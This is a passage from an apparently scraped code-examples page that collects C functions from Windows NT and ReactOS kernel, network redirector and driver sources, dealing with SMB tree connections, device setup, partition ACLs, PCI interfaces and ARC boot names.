        Ea->NextEntryOffset = ROUND_UP_COUNT(
                                  FIELD_OFFSET( FILE_FULL_EA_INFORMATION, EaName[0]) +
                                  EaNameDomainNameSize + sizeof(CHAR),
                                  ALIGN_DWORD
                                  );
        Ea->Flags = 0;

        (ULONG) Ea += Ea->NextEntryOffset;

        //
        // *** PASSWORD ***
        // Copy the EA name into EA buffer.  EA name length does not
        // include the zero terminator.
        //
        (VOID) strcpy(Ea->EaName, EA_NAME_PASSWORD);
        Ea->EaNameLength = EaNamePasswordSize;

        Ea->EaValueLength = 0;  // There is no EA value for this.

        Ea->NextEntryOffset = ROUND_UP_COUNT(
                                  FIELD_OFFSET( FILE_FULL_EA_INFORMATION, EaName[0]) +
                                  EaNamePasswordSize + sizeof(CHAR),
                                  ALIGN_DWORD
                                  );
        Ea->Flags = 0;

        (ULONG) Ea += Ea->NextEntryOffset;

        //
        // *** USER NAME ***
        // Copy the EA name into EA buffer.  EA name length does not
        // include the zero terminator.
        //
        (VOID) strcpy(Ea->EaName, EA_NAME_USERNAME);
        Ea->EaNameLength = EaNameUserNameSize;

        Ea->EaValueLength = 0;  // There is no EA value for this.

        Ea->NextEntryOffset = ROUND_UP_COUNT(
                                  FIELD_OFFSET( FILE_FULL_EA_INFORMATION, EaName[0]) +
                                  EaNameUserNameSize + sizeof(CHAR),
                                  ALIGN_DWORD
                                  );
        Ea->Flags = 0;

        (ULONG) Ea += Ea->NextEntryOffset;
    }

    //
    // Copy the EA for the connection type name into EA buffer.  EA name length
    // does not include the zero terminator.
    //
    strcpy(Ea->EaName, EA_NAME_TYPE);
    Ea->EaNameLength = EaNameTypeSize;

    *((PULONG) &(Ea->EaName[EaNameTypeSize + sizeof(CHAR)])) = ConnectionType;

    Ea->EaValueLength = TypeSize;

    Ea->NextEntryOffset = 0;
    Ea->Flags = 0;

    // Set object attributes for the tree conn.
    InitializeObjectAttributes(
                & objattrTreeConn,                       // obj attr to init
                (LPVOID) & ucTreeConn,                   // string to use
                OBJ_CASE_INSENSITIVE,                    // Attributes
                NULL,                                    // Root directory
                SecurityDescriptor);                     // Security Descriptor

    //
    // Open a tree connection to the remote server.
    //

    IF_DEBUG(RDRFSCTL) {
        NetpKdPrint(( PREFIX_NETLIB
                "NetpRdrFsControlTree: opening " FORMAT_LPTSTR ".\n",
                pszTreeConn ));
    }
    ntstatus = NtCreateFile(
                & TreeConnHandle,                        // ptr to handle
                SYNCHRONIZE                              // desired...
                | GENERIC_READ | GENERIC_WRITE,          // ...access
                & objattrTreeConn,                       // name & attributes
                & iosb,                                  // I/O status block.
                NULL,                                    // alloc size.
                FILE_ATTRIBUTE_NORMAL,                   // (ignored)
                FILE_SHARE_READ | FILE_SHARE_WRITE,      // ...access
                FILE_OPEN_IF,                            // create disposition
                FILE_CREATE_TREE_CONNECTION              // create...
                | FILE_SYNCHRONOUS_IO_NONALERT,          // ...options
                EaBuffer,                                // EA buffer
                EaBufferSize );                          // Ea buffer size

#ifndef UNICODE
    RtlFreeUnicodeString( &ucTreeConn );
#endif

    if (! NT_SUCCESS(ntstatus)) {

#ifndef UNICODE
        if (UnicodeTransportName != NULL) {
            NetpMemoryFree(UnicodeTransportName);

        }
#endif

        if (EaBuffer != NULL) {
            NetpMemoryFree(EaBuffer);
        }

        NetpMemoryFree(pszTreeConn);
        ApiStatus = NetpNtStatusToApiStatus(ntstatus);
        if (ApiStatus == ERROR_BAD_NET_NAME) {
            ApiStatus = NERR_BadTransactConfig;  // Special meaning if no IPC$
        }

        if (ApiStatus != ERROR_BAD_NETPATH) {
            NetpKdPrint(( PREFIX_NETLIB
                    "NetpRdrFsControlTree: unexpected create error,\n"
                    "  tree name='" FORMAT_LPTSTR "', "
                    "ntstatus=" FORMAT_NTSTATUS ",\n"
                    "  iosb.Status=" FORMAT_NTSTATUS ", "
                    "iosb.Info=" FORMAT_HEX_ULONG ", "
                    "  returning " FORMAT_API_STATUS ".\n",
                    TreeName, ntstatus,
                    iosb.Status, iosb.Information, ApiStatus ));
        }

        return (ApiStatus);
    }

    // Do the FSCTL.
    IF_DEBUG(RDRFSCTL) {
        NetpKdPrint(( PREFIX_NETLIB
                "NetpRdrFsControlTree: doing fsctl...\n" ));
    }
    ntstatus = NtFsControlFile(
                        TreeConnHandle,                  // handle
                        NULL,                            // no event
                        NULL,                            // no APC routine
                        NULL,                            // no APC context
                        & iosb,                          // I/O stat blk (set)
                        FsControlCode,                   // func code
                        InputBuffer,
                        InputBufferSize,
                        OutputBuffer,
                        OutputBufferSize);

    if (! NT_SUCCESS(ntstatus)) {
       NTSTATUS Status;

       Status = NtClose(TreeConnHandle);
#if DBG
       if (!NT_SUCCESS(Status)) {
           NetpKdPrint(( PREFIX_NETLIB
                   "NetpRdrFsControlTree: "
                   "Unexpected error closing tree connect handle: "
                   FORMAT_NTSTATUS "\n",
                   Status ));
       }
#endif

       NetpMemoryFree(pszTreeConn);

#ifndef UNICODE
        if (UnicodeTransportName != NULL) {
            NetpMemoryFree(UnicodeTransportName);

        }
#endif

        if (EaBuffer != NULL) {
            NetpMemoryFree(EaBuffer);
        }
        ApiStatus = NetpNtStatusToApiStatus(ntstatus);

        NetpKdPrint(( PREFIX_NETLIB
                "NetpRdrFsControlTree: unexpected FSCTL error,\n"
                "  tree name='" FORMAT_LPTSTR "', "
                "ntstatus=" FORMAT_NTSTATUS ".\n"
                "  ApiStatus=" FORMAT_API_STATUS ", "
                "iosb.Status=" FORMAT_NTSTATUS ", "
                "iosb.Info=" FORMAT_HEX_ULONG ".\n",
                TreeName, ntstatus, ApiStatus, iosb.Status, iosb.Information ));

        return (ApiStatus);
    }

    // Clean up.
    ntstatus = NtClose(TreeConnHandle);
#if DBG
       if (!NT_SUCCESS(ntstatus)) {
           NetpKdPrint(( PREFIX_NETLIB
                   "NetpRdrFsControlTree: "
                   "Unexpected error closing tree connect handle: "
                   FORMAT_NTSTATUS "\n", ntstatus ));
       }
#endif

    NetpMemoryFree(pszTreeConn);

#ifndef UNICODE
    if (UnicodeTransportName != NULL) {
        NetpMemoryFree(UnicodeTransportName);

    }
#endif

    if (EaBuffer != NULL) {
        NetpMemoryFree(EaBuffer);
    }

    return (NERR_Success);

} // NetpRdrFsControlTree
Example #20
0
NTSTATUS
#pragma prefast(suppress:28152) // Does not clear DO_DEVICE_INITIALIZING
AddDevice(
    IN  PDRIVER_OBJECT  DriverObject,
    IN  PDEVICE_OBJECT  DeviceObject
    )
{
    HANDLE              ParametersKey;
    PANSI_STRING        ActiveDeviceInstance;
    BOOLEAN             Active;
    PWCHAR              DeviceID;
    PWCHAR              InstanceID;
    UNICODE_STRING      Unicode;
    ULONG               Length;
    NTSTATUS            status;

    ASSERT3P(DriverObject, ==, __DriverGetDriverObject());

    ParametersKey = __DriverGetParametersKey();

    ActiveDeviceInstance = NULL;
    if (ParametersKey != NULL) {
        status = RegistryQuerySzValue(ParametersKey,
                                      "ActiveDeviceInstance",
                                      &ActiveDeviceInstance);
        ASSERT(IMPLY(!NT_SUCCESS(status), ActiveDeviceInstance == NULL));
    } else {
        ActiveDeviceInstance = NULL;
    }

    Active = FALSE;

    DeviceID = NULL;
    InstanceID = NULL;

    RtlZeroMemory(&Unicode, sizeof (UNICODE_STRING));

    if (ActiveDeviceInstance == NULL)
        goto done;

    status = __DriverQueryId(DeviceObject, BusQueryDeviceID, &DeviceID);
    if (!NT_SUCCESS(status))
        goto fail1;

    status = __DriverQueryId(DeviceObject, BusQueryInstanceID, &InstanceID);
    if (!NT_SUCCESS(status))
        goto fail2;

    status = RtlAnsiStringToUnicodeString(&Unicode, ActiveDeviceInstance, TRUE);
    if (!NT_SUCCESS(status))
        goto fail3;

    Length = (ULONG)wcslen(DeviceID);
    if (_wcsnicmp(Unicode.Buffer,
                  DeviceID,
                  Length) != 0)
        goto done;

    Length = (ULONG)wcslen(InstanceID);
    if (_wcsnicmp(Unicode.Buffer + (Unicode.Length / sizeof (WCHAR)) - Length,
                  InstanceID,
                  Length) != 0)
        goto done;

    Active = TRUE;

    RegistryFreeSzValue(ActiveDeviceInstance);

done:
    if (Unicode.Buffer != NULL)
        RtlFreeUnicodeString(&Unicode);

    if (InstanceID != NULL)
        ExFreePool(InstanceID);

    if (DeviceID != NULL)
        ExFreePool(DeviceID);

    status = FdoCreate(DeviceObject, Active);
    if (!NT_SUCCESS(status))
        goto fail3;

    return STATUS_SUCCESS;

fail3:
    if (InstanceID != NULL)
        ExFreePool(InstanceID);

fail2:
    if (DeviceID != NULL)
        ExFreePool(DeviceID);

fail1:
    RegistryFreeSzValue(ActiveDeviceInstance);

    Error("fail1 (%08x)\n", status);

    return status;
}
VOID
VIOSerialPortSymbolicNameWork(
    IN WDFWORKITEM  WorkItem
    )
{

    PRAWPDO_VIOSERIAL_PORT  pdoData = RawPdoSerialPortGetData(WorkItem);
    PVIOSERIAL_PORT         pport = pdoData->port;
    UNICODE_STRING          deviceUnicodeString = {0};
    NTSTATUS                status  = STATUS_SUCCESS;

    DECLARE_UNICODE_STRING_SIZE(symbolicLinkName, 256);

    TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP, "--> %s\n", __FUNCTION__);

    do
    {
        if (pport->NameString.Buffer)
        {
           status = RtlAnsiStringToUnicodeString( &deviceUnicodeString,
                                 &pport->NameString,
                                 TRUE
                                 );
           if (!NT_SUCCESS(status))
           {
              TraceEvents(TRACE_LEVEL_ERROR, DBG_PNP,
                "RtlAnsiStringToUnicodeString failed 0x%x\n", status);
              break;
           }

           TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP,"deviceUnicodeString = %ws\n", deviceUnicodeString.Buffer);

           status = RtlUnicodeStringPrintf(
                                 &symbolicLinkName,
                                 L"%ws%ws",
                                 L"\\DosDevices\\",
                                 deviceUnicodeString.Buffer
                                 );
           if (!NT_SUCCESS(status))
           {
              TraceEvents(TRACE_LEVEL_ERROR, DBG_PNP,
                "RtlUnicodeStringPrintf failed 0x%x\n", status);
              break;
           }

           status = WdfDeviceCreateSymbolicLink(
                                 pport->Device,
                                 &symbolicLinkName
                                 );
           if (!NT_SUCCESS(status))
           {
              TraceEvents(TRACE_LEVEL_ERROR, DBG_PNP,
                "WdfDeviceCreateSymbolicLink %ws failed 0x%x\n", &symbolicLinkName, status);
              break;
           }
        }
    } while (0);

    if (deviceUnicodeString.Buffer != NULL)
    {
        RtlFreeUnicodeString( &deviceUnicodeString );
    }
    WdfObjectDelete(WorkItem);
    TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP, "<-- %s\n", __FUNCTION__);
}
Example #22
0
NTSTATUS
IopApplySystemPartitionProt(
    IN PLOADER_PARAMETER_BLOCK LoaderBlock
    )

/*++

Routine Description:

    This routine applies protection to the system partition that
    prevents all users except administrators from accessing the
    partition.


    This routine is only used during system initialization.
    As such, all memory allocations are expected to succeed.
    Success is tested only with assertions.


Arguments:

    LoaderBlock - Supplies a pointer to the loader parameter block that was
        created by the OS Loader.

Return Value:

    The function value is the final status from attempting to set the system
    partition protection.


--*/

{
    NTSTATUS status;
    PACL dacl;
    SECURITY_DESCRIPTOR securityDescriptor;
    OBJECT_ATTRIBUTES objectAttributes;
    ULONG length;
    CHAR ArcNameFmt[12];

    ArcNameFmt[0] = '\\';
    ArcNameFmt[1] = 'A';
    ArcNameFmt[2] = 'r';
    ArcNameFmt[3] = 'c';
    ArcNameFmt[4] = 'N';
    ArcNameFmt[5] = 'a';
    ArcNameFmt[6] = 'm';
    ArcNameFmt[7] = 'e';
    ArcNameFmt[8] = '\\';
    ArcNameFmt[9] = '%';
    ArcNameFmt[10] = 's';
    ArcNameFmt[11] = '\0';

    ASSERT( ARGUMENT_PRESENT( LoaderBlock ) );
    ASSERT( ARGUMENT_PRESENT( LoaderBlock->ArcHalDeviceName ) );

    //
    // Build an appropriate discretionary ACL.
    //

    length = (ULONG) sizeof( ACL ) +
             ( 2 * ((ULONG) sizeof( ACCESS_ALLOWED_ACE ))) +
             SeLengthSid( SeLocalSystemSid ) +
             SeLengthSid( SeAliasAdminsSid ) +
             8; // The 8 is just for good measure

    dacl = (PACL) ExAllocatePool( PagedPool, length );
    if (!dacl) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    status = RtlCreateAcl( dacl, length, ACL_REVISION2 );
    if (NT_SUCCESS( status )) {

        status = RtlAddAccessAllowedAce( dacl,
                                         ACL_REVISION2,
                                         GENERIC_ALL,
                                         SeLocalSystemSid );
        if (NT_SUCCESS( status )) {

            status = RtlAddAccessAllowedAce( dacl,
                                             ACL_REVISION2,
                                             GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | READ_CONTROL,
                                             SeAliasAdminsSid );
            if (NT_SUCCESS( status )) {

                //
                // Put it in a security descriptor so that it may be applied to
                // the system partition device.
                //

                status = RtlCreateSecurityDescriptor( &securityDescriptor,
                                                      SECURITY_DESCRIPTOR_REVISION );
                if (NT_SUCCESS( status )) {

                    status = RtlSetDaclSecurityDescriptor( &securityDescriptor,
                                                           TRUE,
                                                           dacl,
                                                           FALSE );
                }
            }
        }
    }

    if (!NT_SUCCESS( status )) {
        ExFreePool( dacl );
        return status;
    }

    //
    // Open the ARC boot device and apply the ACL.
    //

    {
        NTSTATUS tmpStatus;
        UCHAR deviceNameBuffer[256];
        STRING deviceNameString;
        UNICODE_STRING deviceNameUnicodeString;
        HANDLE deviceHandle;
        IO_STATUS_BLOCK ioStatusBlock;

        //
        // Begin by formulating the ARC name of the boot device in the ARC
        // name space.
        //

        sprintf( deviceNameBuffer,
                 ArcNameFmt,
                 LoaderBlock->ArcHalDeviceName );

        RtlInitAnsiString( &deviceNameString, deviceNameBuffer );

        status = RtlAnsiStringToUnicodeString( &deviceNameUnicodeString,
                                               &deviceNameString,
                                               TRUE );

        if (NT_SUCCESS( status )) {

            InitializeObjectAttributes( &objectAttributes,
                                        &deviceNameUnicodeString,
                                        OBJ_CASE_INSENSITIVE,
                                        NULL,
                                        NULL );

            status = ZwOpenFile( &deviceHandle,
                                 WRITE_DAC,
                                 &objectAttributes,
                                 &ioStatusBlock,
                                 TRUE,
                                 0 );

            RtlFreeUnicodeString( &deviceNameUnicodeString );

            if (NT_SUCCESS( status )) {


                //
                // Apply the ACL built above to the system partition device
                // object.
                //

                status = ZwSetSecurityObject( deviceHandle,
                                              DACL_SECURITY_INFORMATION,
                                              &securityDescriptor );

                tmpStatus = NtClose( deviceHandle );
            }
        }
    }

    //
    // Free the memory used to hold the ACL.
    //

    ExFreePool( dacl );

    return status;
}
Example #23
0
NTSTATUS
NTAPI
PciQueryInterface(IN PPCI_FDO_EXTENSION DeviceExtension,
                  IN CONST GUID* InterfaceType,
                  IN ULONG Size,
                  IN ULONG Version,
                  IN PVOID InterfaceData,
                  IN PINTERFACE Interface,
                  IN BOOLEAN LastChance)
{
    UNICODE_STRING GuidString;
    NTSTATUS Status;
    PPCI_INTERFACE *InterfaceList;
    PPCI_INTERFACE PciInterface;
    RtlStringFromGUID(InterfaceType, &GuidString);
    DPRINT1("PCI - PciQueryInterface TYPE = %wZ\n", &GuidString);
    RtlFreeUnicodeString(&GuidString);
    DPRINT1("      Size = %u, Version = %u, InterfaceData = %p, LastChance = %s\n",
            Size,
            Version,
            InterfaceData,
            LastChance ? "TRUE" : "FALSE");

    /* Loop all the available interfaces */
    for (InterfaceList = LastChance ? PciInterfacesLastResort : PciInterfaces;
         *InterfaceList;
         InterfaceList++)
    {
        /* Get the current interface */
        PciInterface = *InterfaceList;

        /* For debugging, construct the GUID string */
        RtlStringFromGUID(PciInterface->InterfaceType, &GuidString);

        /* Check if this is an FDO or PDO */
        if (DeviceExtension->ExtensionType == PciFdoExtensionType)
        {
            /* Check if the interface is for FDOs */
            if (!(PciInterface->Flags & PCI_INTERFACE_FDO))
            {
                /* This interface is not for FDOs, skip it */
                DPRINT1("PCI - PciQueryInterface: guid = %wZ only for FDOs\n",
                        &GuidString);
                RtlFreeUnicodeString(&GuidString);
                continue;
            }

            /* Check if the interface is for root FDO only */
            if ((PciInterface->Flags & PCI_INTERFACE_ROOT) &&
                (!PCI_IS_ROOT_FDO(DeviceExtension)))
            {
                /* This FDO isn't the root, skip the interface */
                DPRINT1("PCI - PciQueryInterface: guid = %wZ only for ROOT\n",
                        &GuidString);
                RtlFreeUnicodeString(&GuidString);
                continue;
            }
        }
        else
        {
            /* This is a PDO, check if the interface is for PDOs too */
            if (!(PciInterface->Flags & PCI_INTERFACE_PDO))
            {
                /* It isn't, skip it */
                DPRINT1("PCI - PciQueryInterface: guid = %wZ only for PDOs\n",
                        &GuidString);
                RtlFreeUnicodeString(&GuidString);
                continue;
            }
        }

        /* Print the GUID for debugging, and then free the string */
        DPRINT1("PCI - PciQueryInterface looking at guid = %wZ\n", &GuidString);
        RtlFreeUnicodeString(&GuidString);

        /* Check if the GUID, version, and size all match */
        if ((IsEqualGUIDAligned(PciInterface->InterfaceType, InterfaceType)) &&
            (Version >= PciInterface->MinVersion) &&
            (Version <= PciInterface->MaxVersion) &&
            (Size >= PciInterface->MinSize))
        {
            /* Call the interface's constructor */
            Status = PciInterface->Constructor(DeviceExtension,
                                               PciInterface,
                                               InterfaceData,
                                               Version,
                                               Size,
                                               Interface);
            if (!NT_SUCCESS(Status))
            {
                /* This interface was not initialized correctly, skip it */
                DPRINT1("PCI - PciQueryInterface - Contructor %p = %08lx\n",
                        PciInterface->Constructor, Status);
                continue;
            }

            /* Reference the interface and return success, all is good */
            Interface->InterfaceReference(Interface->Context);
            DPRINT1("PCI - PciQueryInterface returning SUCCESS\n");
            return Status;
        }
    }

    /* An interface of this type, and for this device, could not be found */
    DPRINT1("PCI - PciQueryInterface FAILED TO FIND INTERFACE\n");
    return STATUS_NOT_SUPPORTED;
}
Example #24
0
NTSTATUS
INIT_FUNCTION
NTAPI
IopCreateArcNamesCd(IN PLOADER_PARAMETER_BLOCK LoaderBlock)
{
    PIRP Irp;
    KEVENT Event;
    NTSTATUS Status;
    PLIST_ENTRY NextEntry;
    PFILE_OBJECT FileObject;
    PDEVICE_OBJECT DeviceObject;
    LARGE_INTEGER StartingOffset;
    IO_STATUS_BLOCK IoStatusBlock;
    PULONG PartitionBuffer = NULL;
    CHAR Buffer[128], ArcBuffer[128];
    BOOLEAN NotEnabledPresent = FALSE;
    STORAGE_DEVICE_NUMBER DeviceNumber;
    ANSI_STRING DeviceStringA, ArcNameStringA;
    PWSTR SymbolicLinkList, lSymbolicLinkList;
    PARC_DISK_SIGNATURE ArcDiskSignature = NULL;
    UNICODE_STRING DeviceStringW, ArcNameStringW;
    ULONG DiskNumber, CdRomCount, CheckSum, i, EnabledDisks = 0;
    PARC_DISK_INFORMATION ArcDiskInformation = LoaderBlock->ArcDiskInformation;

    /* Get all the Cds present in the system */
    CdRomCount = IoGetConfigurationInformation()->CdRomCount;

    /* Get enabled Cds and check if result matches
     * For the record, enabled Cds (or even disk) are Cds/disks
     * that have been successfully handled by MountMgr driver
     * and that already own their device name. This is the "new" way
     * to handle them, that came with NT5.
     * Currently, Windows 2003 provides an arc names creation based
     * on both enabled drives and not enabled drives (lack from
     * the driver).
     * Given the current ReactOS state, that's good for us.
     * To sum up, this is NOT a hack or whatsoever.
     */
    Status = IopFetchConfigurationInformation(&SymbolicLinkList,
                                              GUID_DEVINTERFACE_CDROM,
                                              CdRomCount,
                                              &EnabledDisks);
    if (!NT_SUCCESS(Status))
    {
        NotEnabledPresent = TRUE;
    }
    /* Save symbolic link list address in order to free it after */
    lSymbolicLinkList = SymbolicLinkList;
    /* For the moment, we won't fail */
    Status = STATUS_SUCCESS;

    /* Browse all the ARC devices trying to find the one matching boot device */
    for (NextEntry = ArcDiskInformation->DiskSignatureListHead.Flink;
         NextEntry != &ArcDiskInformation->DiskSignatureListHead;
         NextEntry = NextEntry->Flink)
    {
        ArcDiskSignature = CONTAINING_RECORD(NextEntry,
                                             ARC_DISK_SIGNATURE,
                                             ListEntry);

        if (strcmp(LoaderBlock->ArcBootDeviceName, ArcDiskSignature->ArcName) == 0)
        {
            break;
        }

        ArcDiskSignature = NULL;
    }

    /* Not found... Not booting from a Cd */
    if (!ArcDiskSignature)
    {
        DPRINT("Failed finding a cd that could match current boot device\n");
        goto Cleanup;
    }

    /* Allocate needed space for reading Cd */
    PartitionBuffer = ExAllocatePoolWithTag(NonPagedPoolCacheAligned, 2048, TAG_IO);
    if (!PartitionBuffer)
    {
        DPRINT("Failed allocating resources!\n");
        /* Here, we fail, BUT we return success, some Microsoft joke */
        goto Cleanup;
    }

    /* If we have more enabled Cds, take that into account */
    if (EnabledDisks > CdRomCount)
    {
        CdRomCount = EnabledDisks;
    }

    /* If we'll have to browse for none enabled Cds, fix higher count */
    if (NotEnabledPresent && !EnabledDisks)
    {
        CdRomCount += 5;
    }

    /* Finally, if in spite of all that work, we still don't have Cds, leave */
    if (!CdRomCount)
    {
        goto Cleanup;
    }

    /* Start browsing Cds */
    for (DiskNumber = 0, EnabledDisks = 0; DiskNumber < CdRomCount; DiskNumber++)
    {
        /* Check if we have an enabled disk */
        if (SymbolicLinkList && *SymbolicLinkList != UNICODE_NULL)
        {
            /* Create its device name using first symbolic link */
            RtlInitUnicodeString(&DeviceStringW, lSymbolicLinkList);
            /* Then, update symbolic links list */
            lSymbolicLinkList += wcslen(lSymbolicLinkList) + (sizeof(UNICODE_NULL) / sizeof(WCHAR));

            /* Get its associated device object and file object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);
            /* Failure? Good bye! */
            if (!NT_SUCCESS(Status))
            {
                goto Cleanup;
            }

            /* Now, we'll ask the device its device number */
            Irp = IoBuildDeviceIoControlRequest(IOCTL_STORAGE_GET_DEVICE_NUMBER,
                                                DeviceObject,
                                                NULL,
                                                0,
                                                &DeviceNumber,
                                                sizeof(STORAGE_DEVICE_NUMBER),
                                                FALSE,
                                                &Event,
                                                &IoStatusBlock);
            /* Failure? Good bye! */
            if (!Irp)
            {
                /* Dereference file object before leaving */
                ObDereferenceObject(FileObject);
                Status = STATUS_INSUFFICIENT_RESOURCES;
                goto Cleanup;
            }

            /* Call the driver, and wait for it if needed */
            KeInitializeEvent(&Event, NotificationEvent, FALSE);
            Status = IoCallDriver(DeviceObject, Irp);
            if (Status == STATUS_PENDING)
            {
                KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
                Status = IoStatusBlock.Status;
            }
            if (!NT_SUCCESS(Status))
            {
                ObDereferenceObject(FileObject);
                goto Cleanup;
            }

            /* Finally, build proper device name */
            sprintf(Buffer, "\\Device\\CdRom%lu", DeviceNumber.DeviceNumber);
            RtlInitAnsiString(&DeviceStringA, Buffer);
            Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
            if (!NT_SUCCESS(Status))
            {
                ObDereferenceObject(FileObject);
                goto Cleanup;
            }
        }
        else
        {
            /* Create device name for the cd */
            sprintf(Buffer, "\\Device\\CdRom%lu", EnabledDisks++);
            RtlInitAnsiString(&DeviceStringA, Buffer);
            Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
            if (!NT_SUCCESS(Status))
            {
                goto Cleanup;
            }

            /* Get its device object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);
            if (!NT_SUCCESS(Status))
            {
                RtlFreeUnicodeString(&DeviceStringW);
                goto Cleanup;
            }
        }

        /* Initiate data for reading cd and compute checksum */
        StartingOffset.QuadPart = 0x8000;
        CheckSum = 0;
        Irp = IoBuildSynchronousFsdRequest(IRP_MJ_READ,
                                           DeviceObject,
                                           PartitionBuffer,
                                           2048,
                                           &StartingOffset,
                                           &Event,
                                           &IoStatusBlock);
        if (Irp)
        {
            /* Call the driver, and wait for it if needed */
            KeInitializeEvent(&Event, NotificationEvent, FALSE);
            Status = IoCallDriver(DeviceObject, Irp);
            if (Status == STATUS_PENDING)
            {
                KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
                Status = IoStatusBlock.Status;
            }

            /* Reading succeed, compute checksum by adding data, 2048 bytes checksum */
            if (NT_SUCCESS(Status))
            {
                for (i = 0; i < 2048 / sizeof(ULONG); i++)
                {
                    CheckSum += PartitionBuffer[i];
                }
            }
        }

        /* Dereference file object */
        ObDereferenceObject(FileObject);

        /* If checksums are matching, we have the proper cd */
        if (CheckSum + ArcDiskSignature->CheckSum == 0)
        {
            /* Create ARC name */
            sprintf(ArcBuffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
            RtlInitAnsiString(&ArcNameStringA, ArcBuffer);
            Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE);
            if (NT_SUCCESS(Status))
            {
                /* Create symbolic link */
                IoAssignArcName(&ArcNameStringW, &DeviceStringW);
                RtlFreeUnicodeString(&ArcNameStringW);
                DPRINT("Boot device found\n");
            }

            /* And quit, whatever happens */
            RtlFreeUnicodeString(&DeviceStringW);
            goto Cleanup;
        }

        /* Free string before trying another disk */
        RtlFreeUnicodeString(&DeviceStringW);
    }

Cleanup:
    if (PartitionBuffer)
    {
        ExFreePoolWithTag(PartitionBuffer, TAG_IO);
    }

    if (SymbolicLinkList)
    {
        ExFreePool(SymbolicLinkList);
    }

    return Status;
}
Example #25
0
static inline void free_win16_tib( WIN16_SUBSYSTEM_TIB *tib )
{
    if (tib->exe_name) RtlFreeUnicodeString( tib->exe_name );
    HeapFree( GetProcessHeap(), 0, tib );
}
Example #26
0
NTSTATUS
INIT_FUNCTION
NTAPI
IopCreateArcNames(IN PLOADER_PARAMETER_BLOCK LoaderBlock)
{
    SIZE_T Length;
    NTSTATUS Status;
    CHAR Buffer[128];
    BOOLEAN SingleDisk;
    BOOLEAN FoundBoot = FALSE;
    UNICODE_STRING SystemDevice, LoaderPathNameW, BootDeviceName;
    PARC_DISK_INFORMATION ArcDiskInfo = LoaderBlock->ArcDiskInformation;
    ANSI_STRING ArcSystemString, ArcString, LanmanRedirector, LoaderPathNameA;

    /* Check if we only have one disk on the machine */
    SingleDisk = ArcDiskInfo->DiskSignatureListHead.Flink->Flink ==
                 (&ArcDiskInfo->DiskSignatureListHead);

    /* Create the global HAL partition name */
    sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcHalDeviceName);
    RtlInitAnsiString(&ArcString, Buffer);
    RtlAnsiStringToUnicodeString(&IoArcHalDeviceName, &ArcString, TRUE);

    /* Create the global system partition name */
    sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
    RtlInitAnsiString(&ArcString, Buffer);
    RtlAnsiStringToUnicodeString(&IoArcBootDeviceName, &ArcString, TRUE);

    /* Allocate memory for the string */
    Length = strlen(LoaderBlock->ArcBootDeviceName) + sizeof(ANSI_NULL);
    IoLoaderArcBootDeviceName = ExAllocatePoolWithTag(PagedPool,
                                                      Length,
                                                      TAG_IO);
    if (IoLoaderArcBootDeviceName)
    {
        /* Copy the name */
        RtlCopyMemory(IoLoaderArcBootDeviceName,
                      LoaderBlock->ArcBootDeviceName,
                      Length);
    }

    /* Check if we only found a disk, but we're booting from CD-ROM */
    if ((SingleDisk) && strstr(LoaderBlock->ArcBootDeviceName, "cdrom"))
    {
        /* Then disable single-disk mode, since there's a CD drive out there */
        SingleDisk = FALSE;
    }

    /* Build the boot strings */
    RtlInitAnsiString(&ArcSystemString, LoaderBlock->ArcHalDeviceName);

    /* If we are doing remote booting */
    if (IoRemoteBootClient)
    {
        /* Yes, we have found boot device */
        FoundBoot = TRUE;

        /* Get NT device name */
        RtlInitAnsiString(&LanmanRedirector, "\\Device\\LanmanRedirector");
        Status = RtlAnsiStringToUnicodeString(&SystemDevice, &LanmanRedirector, TRUE);
        if (!NT_SUCCESS(Status))
        {
            return Status;
        }

        /* Get ARC booting device name (in net(0) something) */
        sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
        RtlInitAnsiString(&ArcString, Buffer);
        Status = RtlAnsiStringToUnicodeString(&BootDeviceName, &ArcString, TRUE);
        if (NT_SUCCESS(Status))
        {
            /* Map ARC to NT name */
            IoAssignArcName(&BootDeviceName, &SystemDevice);
            RtlFreeUnicodeString(&BootDeviceName);

            /* Now, get loader path name */
            RtlInitAnsiString(&LoaderPathNameA, LoaderBlock->NtHalPathName);
            Status = RtlAnsiStringToUnicodeString(&LoaderPathNameW, &LoaderPathNameA, TRUE);
            if (!NT_SUCCESS(Status))
            {
                RtlFreeUnicodeString(&SystemDevice);
                return Status;
            }

            /* And set it has system partition */
            IopStoreSystemPartitionInformation(&SystemDevice, &LoaderPathNameW);
        }

        RtlFreeUnicodeString(&SystemDevice);

        /* Don't quit here, even if everything went fine!
         * We need IopCreateArcNamesDisk to properly map
         * devices with symlinks.
         * It will return success if the mapping process went fine
         * even if it didn't find boot device.
         * It won't reset boot device finding status as well.
         */
    }

    /* Loop every disk and try to find boot disk */
    Status = IopCreateArcNamesDisk(LoaderBlock, SingleDisk, &FoundBoot);
    /* If it succeed but we didn't find boot device, try to browse Cds */
    if (NT_SUCCESS(Status) && !FoundBoot)
    {
        Status = IopCreateArcNamesCd(LoaderBlock);
    }

    /* Return success */
    return Status;
}
Example #27
0
BOOL
WINAPI
LoadUserProfileW(IN HANDLE hToken,
                 IN OUT LPPROFILEINFOW lpProfileInfo)
{
    WCHAR szUserHivePath[MAX_PATH];
    LPWSTR UserName = NULL, Domain = NULL;
    DWORD UserNameLength = 0, DomainLength = 0;
    PTOKEN_USER UserSid = NULL;
    SID_NAME_USE AccountType;
    UNICODE_STRING SidString = { 0, 0, NULL };
    LONG Error;
    BOOL ret = FALSE;
